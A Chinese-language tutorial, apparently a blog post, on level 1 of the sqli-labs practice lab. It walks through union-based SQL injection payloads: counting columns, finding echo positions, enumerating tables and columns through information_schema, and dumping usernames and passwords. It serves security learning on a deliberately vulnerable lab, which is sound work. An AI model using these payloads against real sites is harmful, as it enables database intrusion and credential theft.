SQL注入学习之sqli-labs
get型注入
联合查询注入
第一关:
分别输入id=1 id=1’ id=1’’
结果如下面三幅图,由此可以判断为字符型,反之则为整数型
接下来使用注入语句测试有多少列
' order by 3 --+
其中的 --+ 或者是 # 都是注释,在进行SQL注入的时候一定要注意,不能被后面的无用SQL语句影响,所以添加 # 或 --+ 等注释符将后面的语句进行注释。
最终测试出有3列,使用注入语句测试出回显位置。
id=-1' union select 1,2,3 --+
其中id=-1是为了让前面查询的不存在,从而爆出回显位置。
知道了,回显点,现在我们来爆一下数据库的版本和用户,使用注入语句
id=-1' union select 1,version(),user() --+
这里再补一些常用的函数
version() # mysql 数据库版本
database() # 当前数据库名
user() # 用户名
current_user() # 当前用户名
system_user() # 系统用户名
@@datadir # 数据库路径
@@version_compile_os # 操作系统版本
@@datadir # 文件所在路径
在MySQL版本高于5.0的里面有一个默认数据库information_schema,可用用来查询库名、表名、列名、用户名、用户权限等等,几乎包括了所有操作,我们可以利用他来进行注入查询。
数据库查询:
查询完数据库接下来就开始查询数据库下面的表名,使用注入语句
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
这里可以看到我们获取了数据库下面的四个表名,分别是:emails,referers,uagents,users。
字段名查询:
我们现在可以利用获得的数据库名和表名查询字段名和值
查询表users下面的字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+
查询值:
?id=-1' union select 1,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users),3 --+
这里我们都是使用group_concat连接在一起同时输出的方式进行查询的,也可以采用其他方式都是可以的。
最后我们就完成了SQL联合查询注入。
总结:
联合查询就是利用SQL 语句union select 。
union select 会把两条SQL 语句的查询结果拼接起来,形成一张虚拟的表。联合查询可以实现跨库跨表查询,能极大减少SQL 注入的成本。
但是联合查询有两个限制条件
- 条SQL 语句的查询结果具有相同的列数
- 两条SQL 语句相同位置的列具有相同的数据类型
联合查询通常用在数据库的内容会回显到网页上的情况,所以联合查询通常需要三步:
- 判断当前表中字段个数
- 判断显示位 使用语句 ?id=-1’ union select 1,2,3 --+
- 实现跨库跨表查询 使用语句 ?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+